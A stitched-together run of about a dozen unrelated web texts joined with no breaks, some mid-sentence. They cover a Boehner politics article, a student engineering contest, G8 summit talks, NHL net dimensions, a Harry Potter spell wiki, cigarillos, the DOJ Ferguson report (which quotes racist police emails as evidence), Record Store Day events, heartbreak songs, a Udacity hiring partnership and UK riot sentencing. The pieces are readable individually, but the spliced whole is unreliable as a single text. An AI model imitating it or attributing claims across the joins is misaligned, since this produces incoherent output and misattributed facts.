For two days running, Boehner, R-Ohio, has made clear that he's heard just about enough from conservative advocacy groups such as the Heritage Foundation, Americans for Prosperity and Freedomworks.
On Wednesday, he called them "ridiculous." On Thursday, he said "they've lost all credibility."
Stoking Boehner's anger was their rapid-fire opposition to the modest budget deal reached by fellow Republican Rep. Paul Ryan and Democratic Sen. Patty Murray, Congress' respective budget committee chairmen. The measure was passed by the House Thursday evening.
But he seemed even more ticked off by what he said, in so many words, was an unserious approach to governing demonstrated by those groups and their allies in Congress.
All of it resulted in the normally buttoned down Boehner delivering a GIF-ready performance as he showed his disgust for the attitude hard-liners took toward the government shutdown.
Recalling how an individual with one of the just-say-no conservative groups conceded just before the shutdown ended that they had never thought the approach would work to defund Obamacare anyway, Boehner exclaimed: "Are you kidding me?" He punctuated his words with so much head and torso movement you would've thought you were watching Lebron James executing a crossover.
We may be witnessing the new Boehner, the fed-up Boehner, the Boehner who's done with having his leadership and even his manhood questioned.
And it comes not a moment too soon, as far as the speaker's allies are concerned. "To me, it's like Christmas came earlier in December than it normally does," said Steve LaTourette, a former Ohio Republican congressman and Boehner friend who runs a Washington lobby shop.
"It's really just a byproduct of the fact that he's a very patient fellow and his fuse was a lot longer than a lot of other people's, including mine, that he's run out of patience," said LaTourette, who also heads the Republican Main Street Partnership, a group of establishment Republicans for whom compromise is not a dirty word but a necessity for a governing party.
LaTourette's reading of the situation is that Boehner, wanting to let his caucus express its will, allowed the hard-liners to steer the ship of state for a while even though he disagreed with their full-steam-ahead approach — an approach that led to a government shutdown. He hoped they would learn from the experience of crashing into an iceberg.
This week suggested they hadn't. But Boehner's not going to let them get their hands on the wheel again so long as he has a say in the matter.
By calling out his party's hard-liners and showing he's willing to brawl with them, Boehner may have actually enhanced his status and hold on power.
Members of Congress, like voters and people generally, tend to respond better to leaders who project strength. Some have perceived Boehner's past deferral to hard-liners as weakness. He is giving people a chance to reconsider that perception.
"The audience for what the speaker had to say isn't the 25 chuckleheads who are going to vote 'no,' no matter what happens," LaTourette said.
Instead, the audience is the roughly 100 of the 144 House Republicans who voted against the reopening of the government but are persuadable.
"Will this be a good enough sign to the 100 men and women who really want to be good conservatives but govern at the end of the day, that the speaker has their back and so they're going to have his?" LaTourette asks. "That's the script that has to be written yet."
And Boehner seems intent in writing that script in ALL CAPS.NAGPUR: Engineering students often take up some interesting projects during their graduation which remain unrecognized and unutilized. In order to make good use of these projects and encourage students to be more innovative, city-based portal CrazyEngineers.com is organizing a national-level competition. The participants also stand a chance of their projects being turned into a viable product.An online portal for engineering students and professionals, CrazyEngineers (CE) has more than 1.6 lakh registered members from more than 180 countries. A team of analytics from the portal realized that there’s a huge potential in the projects created by engineering students at academic and economic levels. The nation-wide competition is for third and final year students pursuing BE or BTech under any government recognized institution in India. It requires the participants to submit the details of the project they have been working on for college. Entry to the competition is free.“We are already in talks with some corporates to see if they can adopt the winning projects and make them market-ready. We would also see if two or more teams working on similar projects can collaborate with each other to create something not imagined before,” said Ankita Katdare, the chief operating officer of CrazyEngineers. She said that every engineering student should participate in the competition, irrespective of the size and scale of their project.Another aim of organizing the competition was to encourage students to be more innovative in their thinking and approach towards solving social and technical problems while designing their projects. The analytics team also felt the need for a common platform where all the engineering projects being worked on by students across India are showcased.Students from any branch of engineering can participate as individuals or groups in one of the six categories: Computer science/IT/networking; electrical /electronics and communication; mechanical / automobile / aeronautical; civil / structural; robotics / RC / automation or chemical / metallurgy.In the first stage, the participants have to submit their project synopsis, answer questions about it and fill in a simple form. Participants shortlisted from stage one would have to create a video presentation. Details can be found on CE website or by writing a mail to contest@crazyengineers.com.Eurozone set to dominate talks, with Obama caught between two competing visions of how to solve crisis
Barack Obama was caught between two competing European visions of how to solve the financial crisis at the G8 summit when David Cameron rejected outright a French proposal to raise €57bn (£46bn) through a tax on financial transactions.
The eurozone crisis is set to dominate four days of intense diplomacy which began in Washington Friday morning and continued through a meeting of G8 leaders at the presidential retreat Camp David on Friday evening. Discussions will continue there on Saturday and on to a Nato meeting in Chicago.
In talks at the White House, only hours before the Camp David summit, Obama met the new French president, François Hollande, for a one-to-one conversation in which he explored the possibility of a new approach to the eurozone crisis based on a pro-growth, stimulus strategy. Obama has been pressing for such a strategy for the past three years and has a potential ally in Hollande.
The White House welcomed what it sees as a change in the debate since Hollande's election that tilts the balance slightly more in favour of a growth strategy.
The French president is proposing an EU-wide financial transaction tax (FTT) that could raise up to €57bn a year that could be used to stimulate the 27-nation bloc.
After meeting Obama, Hollande was scheduled to meet David Cameron in Washington before flying to Camp David.
However on arriving in the US, Cameron said: "On the financial transactions tax I'm very clear. We are not going to get growth in Europe or Britain by introducing a new tax that would actually hit people as well as financial institutions. I don't think it is a sensible measure. I will not support it."
Cameron pointedly backed Hollande's conservative rival, Nicolas Sarkozy, in the presidential election and refused to meet Hollande in London during the campaign. However, the prime minister has now been trying to forge an alliance with the new French government to press Germany to do more to solve the euro crisis. The FTT is proving a sticking point between them.
In his meeting with Obama, Hollande hinted at a compromise over his election pledge to pull French combat troops out of Afghanistan early. The US and Britain fear a premature exit by France could also send other countries rushing to the exit ahead of the 2014 deadline for withdrawal.
At the White House, Hollande insisted he was standing by his pledge but left the door open for a compromise. He said he was committed to providing assistance on Afghan security but in a different way and this would be discussed at the Nato summit held in Chicago on Sunday and Monday. It is thought Hollande and Obama discussed French troops switching to a training role.
Obama was looking for a good relationship with Hollande, hoping to enlist him as an ally in support of the US push for a pro-growth/stimulus approach to the eurozone crisis.
The two appeared to get along, with Obama teasing Hollande about having studied fast food. Hollande said he had nothing against "cheeseburgers", prompting Obama to add lamely that cheeseburgers "go very good with French fries".
The G8 leaders were set to discuss national security issues such as Syria and Iran over dinner and aid for the developing world in the morning. But the bulk of the time was being devoted to the European crisis.
It is the first time a US president has gathered so many leaders at the relatively small Camp David venue. Most meetings normally involve invitations to just one or two others. With space at a premium, each of the G8 leaders has been assigned a cabin and they will gather for discussions around a communal dining table.
As well as Hollande, Cameron and Germany's Angela Merkel, there will be Canada's prime minister, Stephen Harper, the Italian prime minister, Mario Monti, the Japanese prime minister, Yoshihiko Noda, and the Russian prime minister, Dmitri Medvedev, who is attending in place of the Russian president, Vladimir Putin.
Although there is little motivation in either the G8 or Nato for military intervention in Syria, Cameron is to call for more military observers to be sent to Syria. He is offering to send a senior Ministry of Defence official at colonel rank to act as chief of staff to General Robert Mood, the chief military observer at the UN supervision mission in Syria.
In a speech in Washington that kicked off the weekend of diplomacy, Obama announced $3bn (£2bn) in new money to help tackle hunger, mainly projects to help small farmers in Africa. Crucially, however, the cash is to come from the private sector. There has been no announcement yet about whether there will be any funds from the G8 countries on top of the $22bn they committed in 2009 to deal with hunger over the following three years.
Obama said it was important the G8 focused on "the urgent challenge that confronts some 1 billion men, women and children around the world – the injustice of chronic hunger". He added: "As the wealthiest nation on earth, I believe the United States has a moral obligation to lead the fight against hunger and malnutrition, and to partner with others."
Oxfam expressed concern that Obama's announcement "focuses too heavily on the role of the private sector to tackle the complex challenges of food insecurity in the developing world". It called on the G8 to commit substantial funds.Gretzky’s office has been expanded.
The NHL has switched to shallower nets for the 2013-14 season. The new nets are shallower, dropping four inches in depth, and not quite as wide, losing approximately four inches from each side below the goal line. It may not sound like much, but a little more space around back and on the sides can make a big difference.
A minor change was also made to the radius of the corner where the posts meet the crossbar. What was a gentler, rounded curve is now closer to a 90-degree angle. It’s not a drastic change, but it does slightly increase the space that a puck could go in. Watch those top corner shots; some that would have rung off the crossbar may now go off the post and in.
The overhead crossbar was also changed to make it less likely to obscure overhead replays.
Net Impact
Wraparound Goals
The additional real estate will give the offense more room to move the puck and make a play. Unlike the goal line move of 1998 – when the league moved the nets an additional two feet from the end boards – this change won’t open it up wide enough for defensemen to blaze through and clear out players behind the net. That move created 9’4″ of space back there. It also ended during the lockout, when the goal lines reverted to their original distance of 11 feet out. The new, svelte nets increase the space behind the goal from 7′ 4″ to 7′ 8″. With more space to move and a narrower net, expect more wraparound attempts. The puck has a much shorter distance to travel to make it from behind the net to around the post and in.
Here’s the Islanders’ Riley Wetmore using that extra space to net a wraparound goal in the Isles final preseason game.
“Obviously [wraparounds will be] an easier thing to do,” Maple Leafs coach Randy Carlyle told the Toronto Star. “The bigger men playing the game can take advantage of it. It’s something the goalies are going to have to work on. It’s a shorter distance around the net for the player to stuff [the puck] and do a wraparound.”
Adjusting to Angles
In addition to the threat of faster wraparounds, goaltenders will also have to adjust to the changing angles of pucks coming from behind the net. The narrower frame and tighter curves increase the room below the goal line where passes can find their way into the slot. Great passers will quickly learn how to take advantage.
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good's mom, who was killed in a backfired attempt at spellcrafting. Severus Snape is often attributed with the creation of spells such as Levicorpus and Sectumsempra during his time as a student at Hogwarts.
Classification
Below is a list of all known categories that spells can be assigned to. It should be noted that when it comes to the classification of spell types, "the boundaries are flexible," and as such, types of spells may overlap, or have non-indicative effects.[2] It also seems likely that certain spell types belong to separate classification schemes to others. For example: Petrification is dark magic of the most advanced kind but it is also Transfiguration, Melofors is both a Jinx and a Conjuration, Fiendfyre could be considered a Charm as well as a curse and many healing spells could also be considered either charms or counter-spells. Hence, it appears that charm vs. transfiguration is one method of classification and differentiation, and that charm/counter-spell/healing spell vs. jinx/hex/curse is a different one.
Spell Type Defining Feature Notes Example Transfiguration Alteration of the object's form or appearance. Spells of this group may be separated into true transfiguration spells (where an existing object is altered) and conjurations, where the desired object is seemingly transfigured out of thin air. Vera Verto - a true transfiguration spell that changes animals into water goblets. Avis - a conjuration that produces a flock of birds. Charm Alteration of the objects inherent qualities i.e. its behaviour and capabilities. When cast by an experienced practitioner, charms appear to usually have fairly long-lasting effects. Expelliarmus - the Disarming Charm, so-called because it changes its object's (the opponent's) quality from armed to disarmed by separating them from their wand. Jinx Minor dark magic; spells whose effects are irritating but amusing, almost playful and of minor inconvenience to the target. Jinxes can only be maintained as long as the caster keeps eye contact.[3] Impedimenta - the Impediment Jinx, which (appropriately) impedes the forward motion of an object. Hex Consistently affects the object in a negative manner; has a connotation of dark magic, but more so than a jinx. Major inconvenience to the target. Anteoculatia - a hex that causes antlers to sprout from the object's head. Curse The worst kind of dark magic, intended to affect the target in a strongly negative manner. Avada Kedavra - a.k.a. the Killing Curse, which kills the victim. Counter-spell Inhibition of the effect of another spell. Counter-spells are a mysterious spell type that is not elaborated on. There are six known types: Counter-jinxes, counter-curses, counter-charms, untransfigurations, anti-jinxes and undifferentiated counter-spells (it is unknown whether or not counter-hexes exist, though they presumably do). Whilst nomenclature is complex they all share the common trait of inhibiting another spell. Finite Incantatem - a widely-employed counter-spell that terminates spell effects in general. Healing spell Improves the condition of the living object. Episkey - heals minor injuries.
A simplified analogy for the differentiation between a transfiguration and a charm is the difference between form and function or matter and energy; one is concerned with what the object is (its form - transfigurations) whilst the other is concerned with what the object is doing (its function - charms).
Behind the scenes
J. K. Rowling defined a spell as " The generic term for a piece of magic. " [4]
" Many spells are portrayed as energy blasts, bolts or beams, sometimes in the shape of lightning, with various colours. Other times, spells can manifests as balls or bursts of sparks and fire of various colours, vibrational shockwaves, wave like wisps of smoke like energy, or flashes of light, but in many instances, these physical manifestations of spells can be used as projectiles.
Commonly, a spell can also contain great concussive force or even intense heat, especially when they hit something that is not the target of the spell, with it being enough to damage objects or surfaces. Also, many offensive spells are able to knock down or send a person flying through the air.
A wand is usually needed to make the spell manifest with a light or a projectile of energy.
See also
Appearances
Spell. The Harry Potter Wiki has 643 images related toA cigarillo (from Spanish cigarrillo, meaning cigarette, in turn from "cigarro" + "illo" diminutive, pronounced [siɣaˈriʎo] in parts of Latin America or [θiɣaˈriʎo] in Spain) is a short, narrow cigar. Unlike cigarettes, cigarillos are wrapped in tobacco leaves or brown tobacco-based paper. Cigarillos are smaller than regular cigars but usually larger than cigarettes. Cigarillos are usually made without filters, and are meant to be smoked like a cigar and not inhaled (except those made in this form only for specific tax issues).
Generally, a cigarillo contains about 3 grams of tobacco, the length varies from 3 to 4 in. (7 – 10 cm) and the diameter is about 6 to 9 mm, usually 8 mm. Comparatively, a cigarette contains less than 1 gram of tobacco[4] and is about 31⁄ 4 in. (8 cm) in length and 8 mm in diameter.
Most cigarillos are machine-made, which is cheaper than hand-rolling. It is unusual to store them in humidors, partly because they are smoked in large quantities and so have a short shelf-life.
Cheap cigarillos are typically marketed as a brand rather than with the term cigarillo.[citation needed] In the United Kingdom common consumer brands[1] include Henri Wintermans Café Crème and Hamlets and in the rest of Europe Dannemann Moods, Candlelight, Agio Panters and Mehari's, Clubmaster and Handelsgold are popular. In the United States they include Al Capone, Black & Mild, Backwoods, Dutch Masters, Garcia Y Vega, Game, Splitarillos, Good Times, Swisher Sweets and Phillies. Some famous cigar brands, such as Cohiba or Davidoff, also make cigarillos - Cohiba Mini and Davidoff Club Cigarillos.
In Spanish-speaking countries, as well as in the Philippines, "cigarrillo" is a cigarette.The Department of Justice today released its investigation of the Ferguson police, which found a pattern and practice of discriminatory policing.
The report includes seven racist emails sent by Ferguson officers. In its review, the Justice Department also found 161 use of force complaints against the Ferguson police from 2010 to 2014. Only one case was founded and no officer was disciplined.
Ferguson Report: DOJ Will Not Charge Darren Wilson in Michael Brown Shooting
"As detailed in our searing report... this investigation found a community that was deeply polarized; a community where deep distrust and hostility often characterized interactions between police and area residents," said US Attorney General Eric Holder. "A community where local authorities consistently approached law enforcement not as a means for protecting public safety, but as a way to generate revenue. A community where both policing and municipal court practices were found to disproportionately harm African American residents. A community where this harm frequently appears to stem, at least in part, from racial bias – both implicit and explicit. And a community where all of these conditions, unlawful practices, and constitutional violations have not only severely undermined the public trust, eroded police legitimacy, and made local residents less safe –- but created an intensely charged atmosphere where people feel under assault and under siege by those charged to serve and protect them."
The conclusions come nearly seven months after a confrontation with officer Darren Wilson left 18-year-old Michael Brown dead.
In the wake of the controversial slaying of unarmed teenager Trayvon Martin, Brown’s death reignited a national debate over race in America and sparked protests across the country. Separately today, the DOJ announced that Wilson will not be charged in Brown's death.
Here is a sampling of some of the 100-page report's most scathing findings:
RACIST E-MAILS
A May 2011 email stated -- “An African-American woman in New Orleans was admitted into the hospital for a pregnancy termination. Two weeks later she received a check for $5,000. She phoned the hospital to ask who it was from. The hospital said, ‘Crimestoppers.’”
A Nov. 2008 email read -- “President Barack Obama would not be President for very long because “what black man holds a steady job for four years.”
An email described a man seeking to obtain “welfare" for his dogs because they are “mixed in color, unemployed, lazy, can’t speak English and have no frigging clue who their Daddies are.” (June 2011)
An April 2011 email depicted President Obama as a chimpanzee.
A Dec. 2011 email included jokes based on offensive stereotypes about Muslims
An Oct. 2011 email included a photo of a bare-chested group of dancing women, apparently in Africa, with the caption, “Michelle Obama’s High School Reunion.”
POLICING PRACTICES
The investigation has found that the Ferguson police department “routinely” stopped African American drivers without reasonable suspicion, arrested them without probable cause, and used unreasonable force against them. The police actions, the investigation found, were “unconstitutional,” and amounted to a “pattern and practice” of unlawful conduct.
"Conducting stops without reasonable suspicion and arrests without probable cause" -- both violations of the Fourth Amendment, according to the DOJ.
RACIAL BIAS
The report found that racial bias and a desire to generate revenue drove much of the law enforcement efforts in Ferguson. African Americans accounted for 85 percent of the vehicle stops, 90 percent of the citations, and 93 percent of the arrests, despite making up only 67 percent of the population. “African Americans are more than twice as likely as white drivers to be searched during vehicle stops,” the report found, “but are found in possession of contraband 26 percent less often than white drivers.”
Harmful municipal court and police practices are due, at least in part, to intentional discrimination as "demonstrated by direct evidence of racial bias and stereotyping about African Americans by certain Ferguson police and municipal court officials," according to the DOJ.
USE OF FORCE
When it comes to use of force by the police, the report found that nearly 90 percent of the documented force cases involved African Americans. Senior DOJ officials said that they found 161 excessive force cases filed against the police from 2010 to 2014, but only one had been “founded.” No officers were disciplined for excessive force in that time period. And, in every canine bite incident for which racial information is available, the investigation found, the person bitten was an African- American.
26 REMEDIES
In summary, investigators say that even before the shooting of Micheal Brown, years of biased and unlawful policing practices has eroded community trust.
The Department of Justice has recommended 26 steps the city should take to start correcting these longstanding issues. Among them:
Implement measures to reduce police bias and its impact on police behavior
Implement a robust system of community policing
Stop search, ticking and arrest practices, and focus on community protection
Change use of force practices and encourage de-escalation and use of minimal force
Change response to students to avoid criminalizing youth
Improve and increase training generally
Increase civilian involvement in police decision making
Improve officer supervision
Develop mechanisms to more effectively respond to allegations of officer misconduct
Change Court procedures to simplify processes
Reform trial procedures to ensure full compliance with due process
Stop using warrants as a means of collecting owed fines and fees
At a briefing about the results of the investigation, top DOJ officials – who asked not be named – said that some of the recommendations are already being implemented, and they believed Ferguson officials had to ability to change. If the city does not make the recommended changes, these officials said that the Justice Department would not hesitate to file suit against the city.the line for Other Music on Record Store Day 2014 (more by PSquared)
Record Store Day 2015 is Saturday (4/18) and, as usual, some stores are doing special events as well. We already posted Rough Trade‘s events — which include performances by Dresden Dolls and Sondre Lerche, and signings by Buzzcocks and Kim Gordon (schedule below) — and here’s a rundown of what else is going on in NYC. Remember it won’t be quite as easy running around the city this year as the L Train will not be running from 8th Ave – Bedford at all this weekend (and the four weekends after that). With that in mind, here’s Here’s a rundown:
In Manhattan, Other Music usually has guest DJs for RSD, but this year will feature three in-store performances: 75 Dollar Bill (noon), Mantana Roberts (3 PM), and Laraaji (5 PM). Other Music is open from 10 AM – 8 PM on Record Store Day. More info here.
A block away from OM, In Living Stereo will be open at 8AM and have performances from Flowers of Evil (vintage-style punk rock from members of Crocodiles and A Place to Bury Strangers), as well as 3 Bean Stew and Pisser. There’s also free PBR all day long. What RSD titles they ordered is here and schedule is below.
Generation Records on Thompson St in the Village will be open at 10 AM and they’ll have in-store performances from sleazy hard rockers Mammal at 2 PM and Brooklyn speed-thrash outfit Iron Force at 3 PM. Flyer is below.
Great little East Village store Turntable Lab will be open at 10 AM and have guest DJs spinning all day, including Nancy Whang, Justin Strauss, Eli Soul Clap, Blue Jems, Eli Escobar, Lloydski, Midnight Magic, Monk One, Nomi Ruiz and more. You can check out what #RSD15 titles they’re planning on carrying here, and they’ll have a printable checklist for easy ordering available starting Friday (4/17).
Another East Village store, Good Records, will open at the civilized hour of noon on Saturday and will carry a number of RSD15 titles. They add, “As always, we will be putting out a great collection of rarities and classics culled for the day from our last few months of buying. Weather permitting, we will fire up the grill in back once the ruckus dies down. burgers, dogs and adult beverages for a nominal donation.”
In Brooklyn, Academy Annex in Greenpoint will be open at 10 AM. There will be a free performance by Steve Gunn at 7 PM and Academy will be providing free coffee for people who line up early. The NYC branch of Academy will be stocking RSD titles as well as putting out a special collectible 45s selection.
Not too far from Academy in Greenpoint, Captured Tracks shop will be open at 10 AM as well, as will Ear Wax in Williamsburg. Norman’s Sound & Vision in Williamsburg is open 9 AM to 9 PM on Saturday.
Co-Op 87 in Greenpoint will once again be open for the entirety of Record Store Day 2015, midnight to midnight, and they’ll be stocking select RSD titles.
The Record Grouch in Greenpoint will be open regular hours (noon – 8 PM) and, while they won’t be carrying any RSD exclusives, they have 20 boxes of unsorted $1 records they’ve been holding onto just for the occasion.
Permanent Records, which relocated from Greenpoint to South Slope, does not have any in-store performances, but will be stocking lots of RSD15 titles and will be open from 11 AM.
DUMBO’s Halcyon Records will be having an all-day RSD celebration:
Free giveaways, drinks, smiles and pleasurable company to spare. We will be carrying a huge selection of Record Store Day titles ranging from Rock to Soul to Pop to Hip-Hop, as well as an excellent batch of special House & Techno RSD releases. Be sure to check out our latest selection of used records as well…we have taken in some serious collectable gems, dancefloor smash hits and classics for days…
There will be Output DJs and Halcyon staff spinning all day. Lineup is listed below.
Over in New Jersey, Vintage Vinyl will be open at 8 AM and stocking over 300 titles.
And if you’re shopping on Saturday, check out our guide to Record Store Day 2015 releases.
What else? Flyers and in-store schedules, below…
—
Rough Trade – 2015 Record Store Day In-Store Performance Schedule
12:00pm – Lee Bains III and the Glory Fires
12:30pm – 78 Project w/ Sondre Lerche on the mezzanine
1:00pm – Buzzcocks signing
2:00pm – Howlin Rain
3:00pm – Saun & Starr
4:00pm – Special Guests
5:00pm – Lord Raja
6:00pm – The Dresden Dolls performance & signing
7:30pm – Kim Gordon book signing in the store
IN LIVING STEREO – RECORD STORE DAY PERFORMANCES
1 p.m. – 3 Bean Stew
2 p.m. – Flowers of Evil
3 p.m. – Pisser
Halcyon’s RSD ALL STAR JAM:
DJ lineup kicks off at 12 noon!
DJ Three (Hallucienda | Output)
Free Magic (DISCOVERY)
Taimur Agha (Blkmarket Membership
ATAXIA [Ted Krisko] ( halcyon | Connaisseur Recordings | Paxahau)
Dahlia (halcyon | Output)
Jules (halcyon | Divingstation.fm)
Jay (halcyon | Sapphire Mansions)The first time I got my heart broken I was 11 years old. His name was Jordan and I'd been in love with him ever since I witnessed him breakdancing to the Bomfunk MCs during our Year Five talent show and saw the way he flung his floppy hair around. Our romance was fleeting – two weeks and four days according to my diary – but it still hurt like hell when he dumped me after failing to turn up to our after school park hangout. Sniffling through the demise of my courtship with "the fynest boy in the world" – again, according to my diary – I honestly thought this would end up ruining my life. But then a bright, shining CD in my mum's collection provided the gateway into a post-Jordan world: Alanis Morissette's Jagged Little Pill.
The album walked me through my heartbreak like no friend ever could. The self-righteous disbelief of "All I Really Want" was there when I saw Jordan with his new girlfriend Jodie; the nurturing, reassuring line of "everything's gonna be fine, fine, fiiine" in "Hand In My Pocket" when I couldn't face the playground at lunchtime; the way Alanis Morrisette sings like she's gritting her teeth in "You Oughta Know" as I imagined that I was her, flinging the words at everyone who had ever wronged me while I stomped and swung around my bedroom floor like a propellor. The album made me feel invincible; it understood me when I felt vulnerable and allowed me to walk through the school gates with my head held high, refreshed and ready to take on the world – one Jordan at a time.
It's no coincidence that so many of the world's best-selling pop singles – like Cher's "Believe", Gloria Gaynor's "Survive", Whitney Houston's "I Will Always Love You" and Gotye's "Somebody That I Used To Know", all of which have sold well over 10 million copies – are tethered by feelings of heartbreak. It's a subject so universal and central to our human experience (name one person over the age of 21 who hasn't been dumped, other than Beyonce) that even though the artist doesn't know us, we feel as though they're singing about our experiences. This kind of ubiquitous lyricism, usually teamed with an impassioned, soaring delivery or a fist-pumping chorus, grant us the relief that we're not alone – that someone else out there understands what we're going through. But why do we usually turn to songs about loss and despair in our times of need, instead of blasting more upbeat songs like Pharrell's "Happy" on repeat?
"Primal feelings of loss are always with us, but we often defend against them to survive, thinking they make us weak or bad company or 'Debbie Downers'," psychotherapist Mark O'Connell tells me. "But music allows us all to experience our collective heartbreaks, our collective feelings of separation of loss, in a way that is safe, contained and shared. The music reaches our emotions, deep in our bodies as opposed to our heads. Music also moves, and moves us along with it, so that we can let our feelings take us somewhere, rather than feeling stuck with them." In other words, by experiencing the collective catharsis of songs such as Miley's "Wrecking Ball", we not only feel less alone but we are also enabled to move on and process these feelings in a comfortable, fun environment.
In that way, listening to songs about heartbreak in order to help us through shitty times works in a similar way to when exposure therapy is used to treat patients of PTSD – I know it sounds weird, but bear with me. "When we go through a break-up, the pain and addiction centers light up in the brain," Dr Mike Dow, psychotherapist and author of Healing the Broken Brain, explains. "Having a cathartic experience can help to rewire the brain by helping us to immerse ourselves in the feeling. In some ways, this is similar to the exposure therapy I use to treat a veteran with PTSD. By recalling a painful or traumatic event, you help the brain to reprocess the memory. Sometimes, that can help you go 'through' something instead of going 'around' it."
But surely there's a huge difference between sobbing to the chorus of "Unbreak My Heart" alone while swigging red wine in your eight-day old pyjamas and throwing yourself head-first into a pit with your mates while "Since U Been Gone" reverberates through the dance floor? According to psychotherapist Abigail Burd, though, they basically have the same effect when it comes to getting over your crappy ex. It's all about "emotional regulation" – AKA that by hearing someone else who's sad or angry, you can understand your feelings without them directly belonging to you. "Listening to sad music makes us feel better by 'normalising' our emotions," she tells me, "You realise, 'if this is a common human experience, I'm not alone, and it will get better'. Sad music is also a safe way to appreciate the emotional complexities in life. Without the lows, the highs are not as sweet."
This is all well and good, but what about the actual science behind it? Apparently, as humans, we instinctively want to surround ourselves with people who are like us in order to survive. Songs about heartbreak tap into certain chemicals in our brains that allow us to experience this sense of togetherness, so we enjoy listening to them. As clinical psychologist Dr Dathan Paterno says, "Listening to powerful music releases dopamine and oxytocin. Dopamine is the energetic neurotransmitter; a rush of dopamine is like a high," he says. "Oxytocin is a neuropeptide that helps regulate stress and anxiety – it's often described as the 'warm and fuzzy' biochemical that mothers release when they cuddle with or nurse their newborn child. It breeds a sense of closeness and bonding, which is a highly rewarding feeling."
As incongruous as it sounds, the catharsis of listening to music that you love – even if it's about something that makes your stomach sink as much as having your heart trampled on – can produce a feeling akin to a high. In my very scientific way of looking at it what Dr Paterno's said, you could experience this in different ways. For one, there's the lurch that sweeps you into a banging chorus, and lets you release the tension you've been feeling in the same way a scream does when you're frustrated. Seen from another angle, the soothing structure of a song itself – say, Gloria Gaynor's "I Will Survive" and its jump from the chord's base note to the major fourth, looping throughout the song – pushes out the dopamine rush that comforts you. When the lyrics relate to what you're feeling, and that smashes head-on into the sequence of notes that make a pop hit particularly "sticky", you're in firm heartbreak banger territory.
It can feel reductive to try and explain away the power of pop with science, but it's also clear that our obsession with songs about heartbreak exists because they help us digest, process and move on from a situation we have found ourselves in. They allow us to deal with the breakup in a fun – rather than traumatising – way, where we can face our demons head-on by flinging our limbs around in a sweaty, packed-out club, shout-singing the lyrics to ourselves in the bathroom mirror or letting the screeching guitars of a noise record drown out that squeezing pain in your chest. The Whitneys, Beyonces, Bjorks, Drakes and Bon Ivers of the world tell us what we want to hear when we need to hear it and, in turn, release the kind of chemicals that make us feel good and powerful – it's no wonder that we return to them time and time again.
You can follow Sammy on Twitter.
(Lead image by CelebrityABC via Flickr)We’ve been able to celebrate some pretty amazing news at Udacity in recent months. But nothing makes us happier than those stories that directly impact the careers and futures of our students. Which is why we’re especially excited about today’s announcement. Flipkart, India’s largest online marketplace, is partnering with Udacity to radically change the hiring process in the software industry.
Breaking away from convention, Flipkart is embracing an “interview-less hiring” approach, and hiring candidates based directly on their Nanodegree projects and Udacity profiles. No in-person interviews or group exercises. This approach enables Flipkart to hire talent swiftly, shorten the hiring process, and maintain a critical competitive edge in its hunt for talented professionals. And it allows our graduates to earn roles based directly on the skills and experience they accrue through their Nanodegree program studies.
Three Udacity students—all graduates of Udacity’s Android Developer Nanodegree program— have already started working at Flipkart, with the mobile development team. They are the first to join the Flipkart team, and both Flipkart and Udacity expect many more new hires to follow.
Commenting on this new partnership, Peeyush Ranjan, Chief Technology Officer, Flipkart, said, “The kind of disruptive work that we do at Flipkart demands a world-class talent pool and we are constantly on the look-out for experts who can solve the problems of Indian consumers. The conventional hiring process often comes down to the performance of the candidate on that specific day, which may not be a true reflection of their skills and temperament. This is where a partner like Udacity comes into the picture. The shortlisted profiles provided by them and the in-depth data we received were very helpful and allowed us to assess the candidate’s competencies in a much better way.”
Udacity’s Sebastian Thrun is equally enthusiastic: “Flipkart is one of the most innovative companies in the way they approach the market. Our goal is to have our Nanodegree graduates be in demand for the jobs of today like mobile, data analyst, web development and machine learning among others. We are thrilled to work with Flipkart on this program and look forward to deepening our collaboration.”
Three factors are coming together to make this a really important alliance. To begin, India’s mobile economy is poised for incredible growth, with 50,000 to 70,000 developers currently, and an expected need of 20 million by the year 2020. Next is Flipkart’s significant presence in this dynamic space—over 60% market share, a registered customer base of over 50 million, and over 30 million products across 70+ categories. Finally, there is our innovative approach and deep commitment to cutting-edge skills mastery for our students. Please join us in celebrating this wonderful new partnership!When Judge Elgan Edwards, the recorder of Chester, handed his four-year exemplary sentences to two men for using Facebook to incite riots that never happened, he said he hoped it would be a deterrent to would-be rioters.
The judge justified the sentences for the two men, who had pleaded guilty and who had no previous convictions, by saying the pair had caused "a very real panic" in their Cheshire towns "at a time when collective insanity gripped the nation".
The four-year sentences are the longest passed so far relating to the riots, and the fact that no one turned up to the riots in those locations, apart from the police, has sparked fierce controversy.
But are such "exemplary sentences" ever effective as a deterrent to other potential offenders?
The shock at the sentences may stem partly from the fact that the two men, Jordan Blackshaw, 20 and Perry Sutcliffe-Keenan, 22, were imprisoned for an offence that some do not even realise is a crime. And while the communities secretary, Eric Pickles, complains that people would be alarmed if incitement to riot had led to "just a slap on the wrist", a four-year sentence goes far beyond that consideration.
The annual criminal justice statistics now publish the average sentences passed each year for every offence in the criminal calendar, and they contain some interesting comparisons.
If the two Cheshire men had left home and actually taken part in a riot, it is likely they would have been charged with violent disorder. The average sentence passed on the 372 people convicted of violent disorder in 2010 was just over 18 months. The 1,434 people convicted of public order offences last year got, on average, two months inside.
Normally, to qualify for a four-year sentence, a convict would have to kidnap somebody (average sentence 47 months in 2010), kill someone while drink driving (45 months), or carry out a sexual assault (48 months).
The sentence is also out of line with the experience of previous riots. In a Bradford riots case in 2001, a sentence of three years for violent disorder was upheld on appeal against a 19-year-old with no previous convictions. The court of appeal, dealing with cases involving violent disorder in Croydon in 2005, ruled that a starting point of three years was justified. Indeed, the maximum sentence for violent disorder is five years, with a reduction of up to a third for those who plead guilty at the earliest opportunity.
But what about Edwards's hopes that such a long sentence would prove a deterrent? When Cambridge University criminologist professors Andrew von Hirsch and Sir Anthony Bottoms were asked by the Home Office to review evidence concerning the link between prison sentences and criminal deterrence, they concluded that deterrence did work. They said ordinary people could be deterred by formal and informal sanctions. Indeed, the entire criminal justice system exercises a deterrent effect in that there would be a lot more crime if people thought they could offend with impunity.
But they also looked at whether it was the certainty of being caught and punished, or the prospect of a really severe punishment, that had the most potent deterrent effect. On this point they concluded the evidence showed that passing ever harsher sentences did not "enhance the deterrent effect".
For potential offenders the increased likelihood of being caught and convicted, the research evidence shows, does have an impact on crime rates.
Even in the home of "Judge Dredd" sentencing – the US – the research studies have shown a very weak correlation between the severity of punishments and crime rates.Von Hirsch and Bottoms say one deterrent factor does have a strong impact – the social ties of the potential offender. Those with strong family and community links are much more likely to be deterred by the prospect of being caught than the lone, persistent burglar, who often acts impulsively.
